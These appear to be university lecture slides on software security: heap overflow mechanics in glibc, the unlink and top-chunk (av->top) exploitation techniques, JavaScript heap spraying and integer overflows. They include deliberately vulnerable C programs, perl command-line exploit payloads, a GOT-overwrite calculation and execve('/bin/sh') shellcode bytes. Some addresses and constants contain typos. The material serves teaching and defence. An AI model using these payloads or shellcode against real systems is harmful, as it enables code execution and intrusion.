CSE 40567 / 60567: Computer Security

Software Security 4
Homework #4 has been released. It is due 2/27 at 11:59PM

See **Assignments Page** on the course website for details.
Midterm Exam: **Thursday** 2/27  
(In Class)  
See Topics Checklist on Course Website
In-Class Next Week:

See film response activity on website
Heap Overflows

- Classic heap overflows (no longer exploitable; we’ll see why later)
- Heap spray attacks
- "malloc() Maleficarum"
Classic heap overflow

```c
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
    char *buf1 = malloc(128);
    char *buf2 = malloc(256);

    read(fileno(stdin), buf1, 200);

    free(buf2);
    free(buf1);
}
```

 overflow ➔ read(fileno(stdin), buf1, 200);
Heap and chunk layout

malloc/malloc.c

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size;  /* Size of prev. chunk (if free). */
    INTERNAL_SIZE_T size;       /* Size in bytes, inc. overhead. */

    struct malloc_chunk* fd;    /* double links; used only if free. */
    struct malloc_chunk* bk;

    /* Only used for large blocks: pointer to next larger size. */
    struct malloc_chunk* fd_nextsize; /* double links; used only if free. */
    struct malloc_chunk* bk_nextsize;
};
Heap and chunk layout

<table>
<thead>
<tr>
<th>Heap</th>
<th>Call Sequence</th>
</tr>
</thead>
<tbody>
<tr>
<td>Meta-data of chunk created by malloc(256)</td>
<td>1. malloc(256)</td>
</tr>
<tr>
<td>The 256 bytes of memory return by malloc</td>
<td></td>
</tr>
<tr>
<td>Meta-data of chunk created by malloc(512)</td>
<td>2. malloc(512)</td>
</tr>
<tr>
<td>The 512 bytes of memory return by malloc</td>
<td></td>
</tr>
<tr>
<td>Meta-data of chunk created by malloc(1024)</td>
<td>3. malloc(1024)</td>
</tr>
<tr>
<td>The 1024 bytes of memory return by malloc</td>
<td></td>
</tr>
<tr>
<td>Meta-data of the top chunk</td>
<td></td>
</tr>
</tbody>
</table>
Interpretation of heap structure

• Depends on the current state of the chunk

• Only meta-data present in allocated chunk are the prev_size and size fields

• Buffer returned to program starts at fd
  ‣ Allocated data always has 8 bytes of meta-data, after which the buffer starts

• Check whether current chunk is in use by reading the least significant bit (first bit) of the size field
Managing free chunks

• When a chunk is freed, LSB of size in the metadata of next chunk must be cleared
  ‣ prev_size of next chunk is set to the size of the chunk being freed
• Freed chunk also uses fd and bk fields
  ‣ These can be abused in an exploit
  ‣ Free chunks are saved in doubly linked lists of a specific size
  ‣ Try to reuse existing free blocks before allocating memory from the top chunk
Managing free chunks

If the chunk before the one being freed is already free, coalesce the chunks:

```c
/* Take a chunk off a bin list */
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
}

P: chunk being removed; BK: previous chunk; FD: next chunk
```
Managing free chunks (illustrated)
Exploitation via freeing a chunk

Important observation: two write operations are performed

Goal: two-pronged manipulation of meta-data:

1. Control the value being written
2. Control where it’s being written

```c
char *buf1 = malloc(128);
char *buf2 = malloc(256);
read(fileno(stdin), buf1, 200);
```

Overwrite the function pointer of a destructor, and make it point to our own code.
glibc fixes the previous problem

/* Take a chunk off a bin list */
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printer(check_action,"corrupted double-linked list",P);
    else {
        FD->bk = BK;
        BK->fd = FD;
    }
}

malloc/malloc.c
But wait, there’s more…

**Scenario 1:** Requires two calls to `free()` for chunks containing attacker controlled size fields, followed by a call to `malloc()`.

**Scenario 2:** Requires the manipulation of the program into repeatedly allocating new memory.

**Scenario 3:** Requires that we can overwrite the top chunk, that there is one `malloc()` call with a user controllable size, and finally requires another call to `malloc()`.

**Scenario 4:** Attacker controls a pointer given to `free()`.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    char *buf1, *buf2, *buf3;
    if (argc != 4) return;

    buf1 = malloc(256);
    strcpy(buf1, argv[1]);
    unchecked copy

    control malloc() -> buf2 = malloc(strtoul(argv[2], NULL, 16));
    unchecked copy

    buf3 = malloc(256);
    strcpy(buf3, argv[3]);
    unchecked copy

    free(buf3);
    free(buf2);
    free(buf1);

    return 0;
}
Target code responsible for allocating memory from the top chunk

```c
static void* _int_malloc(mstate av, size_t bytes)
{
    INTERNAL_SIZE_T nb;             /* normalized request size */
    mchunkptr       victim;         /* inspected/selected chunk */
    INTERNAL_SIZE_T size;           /* its size */
    mchunkptr       remainder;      /* remainder from a split */
    unsigned long   remainder_size; /* its size */

    checked_request2size(bytes, nb);

    [...]}

    victim = av->top;
    size = chunksize(victim);
    if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
    {
        remainder_size = size - nb;
        remainder = chunk_at_offset(victim, nb);
        av->top = remainder;
        set_head(victim, nb | PREV_INUSE | (av!=&main_arena ? NON_MAIN_ARENA : 0));
        set_head(remainder, remainder_size | PREV_INUSE);

        check_malloced_chunk(av, victim, nb);
        void *p = chunk2mem(victim);
        if (__builtin_expect (perturb_byte, 0))
            alloc_perturb (p, bytes);
        return p;
    }

    [...]}
```
Exploiting `example.c`

- `av->top` variable always points to the top chunk
- During a call to `malloc()` this variable is used to get a reference to the top chunk
  - If we control the value of `av->top`, and we can force a call to `malloc()` which uses the top chunk, we can control where the next chunk will be allocated
  - Consequently we can write arbitrary bytes to any address using the second `strcpy()` in `example.c`
Passing `malloc()`’s test

To get code to execute, this line must evaluate to true:

```c
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
```

**Goal:** insure that any request (of arbitrarily large size) will use the top chunk

**Strategy:** use the first call to `strcpy()` to overwrite the meta-data of the top chunk
Passing `malloc()`’s test

Write the following through first `strcpy()`:

- 256 bytes to fill up the allocated space
- 4 bytes to overwrite `prev_size`
- The largest possible (unsigned) integer to overwrite `size`

Beginnings of a command line exploit:

```bash
$ LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF\xFF"')
$ ./example $LARGETOPCHUNK 1 2
```
Overwriting `av->top`

Goal: make `av->top` point 8 bytes before the Global Offset Table (GOT) entry of `free()`

Quick review of dynamic linking:

- The ELF object format can be viewed as
  - A series of sections, interpreted by the linker
  - Set of segments, interpreted by the program loader
- GOT table in program stores pointers to dynamically loaded functions

http://www.iecc.com/linker/linker10.html
Overwriting `av->top`

If we're able to overwrite the pointer to `free()`, we can make the program jump to an arbitrary location (e.g., our shellcode)
Overwriting \texttt{av->top}

How do we find out the address of the \texttt{got.plt} entry?

\begin{verbatim}
$ readelf --relocs ./example
\end{verbatim}

Assume \texttt{free()} is located at 0x804a008; subtract by 8, and it becomes 0x804a000

The value being written to \texttt{av->top} is calculated by \texttt{chunk_at_offset}:

\begin{verbatim}
/* Treat space at \texttt{ptr} + \texttt{offset} as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr)(((char*)(p)) + (s)))
\end{verbatim}
Overwriting av->top

1. We control the second argument: nb (in the #define called s).

2. Assume the older value for av->top was 0x804b110

3. The value passed to malloc() should be 0x804a000 - 0x804b110 = FFFFEFF0

New command line exploit:

```
LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF\xFF"')
./example $LARGETOPCHUNK FFFFEFF0 AAAA
```

Results in a segfault with eip set to 0x41414141 ("AAAA")
Point $eip$ to a location under our control

1. Assume stack starts at 0xBFFFFFFFF
   ‣ ASLR will help secure against this attack (more later)

2. Make sure $eip$ points to the NOP slide

LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF"')
NOPS=$(perl -e 'print "\x90"x 0x10000')
SC="$\x68\x2f\x73\x68\x5a\x68\x2f\x62\x69\x6e\x89\xe7\x31\xc0\x88\x47\x07\x8d\x57\x0c\x89\x02\x8d\x4f\x08\x89\x39\x89\xfb\xb0\x0b\xcd\x80'
STACKADDR='$\x01\xC0\xFF\xBF'
env -i "A=$NOPS$SC" ./example $LARGETOPCHUNK FFFFEF0 $STACKADDR

Result (if all memory locations are correct): $
Heap Spraying

Main idea:

1. Use Javascript to spray heap with shellcode and NOP slides (ideal for targeting browsers)
2. Point vtable ptr anywhere in spray area

https://crypto.stanford.edu/cs155/lectures/02-ctrl-hijacking.pdf
var nop = unescape("%u9090%u9090")
while (nop.length < 0x100000) nop += nop

var shellcode = unescape("%u4343%u4343%...");

var x = new Array()
for (i=0; i<1000; i++) {
    x[i] = nop + shellcode;
}

Pointing vtable ptr almost anywhere in heap will cause shellcode to execute.
Vulnerable buffer placement

**Goal:** place vulnerable buf[256] next to object O

A sequence of Javascript allocations and frees makes the heap look like this:

Allocate vulnerable buffer in Javascript and cause overflow
Heap spray exploits in the wild

- 2004: IE IFRAME Tag Overflow (Javascript)
- 2005: Firefox 0xAD Remote Overflow (Javascript)
- 2008: Safari Content-type Overflow (Javascript)
- 2009: Adobe Flash Overflow (ActionScript)
- 2012: Low-level bitmap interface of canvas API (HTML5)
Integer Overflows

Problem: what happens when an int type exceeds its max value?

Assume the following variables:
\[
\begin{align*}
\text{int } & m; \text{ (32 bits)} \quad \text{short } s; \text{ (16 bits)} \quad \text{char } c; \text{ (8 bits)} \\
\end{align*}
\]

\[
\begin{align*}
c & = 0x80 + 0x80 = 128 + 128 \Rightarrow c = 0 \\
s & = 0xff80 + 0x80 \Rightarrow s = 0 \\
m & = 0xffffffff80 + 0x80 \Rightarrow m = 0
\end{align*}
\]

Can this be exploited?
Example Integer Overflow

```c
void func(char *buf1, *buf2, unsigned int len1, len2) {
    char temp[256];
    if (len1 + len2 > 256)  // length check
        return -1;

    memcpy(temp, buf1, len1); // concatenate buffers
    memcpy(temp+len1, buf2, len2);
    run(temp);
}
```

What if `len1 = 0x80, len2 = 0xfffffffff80`?

⇒ `len1 + len2 = 0`

Second `memcpy()` will overflow heap.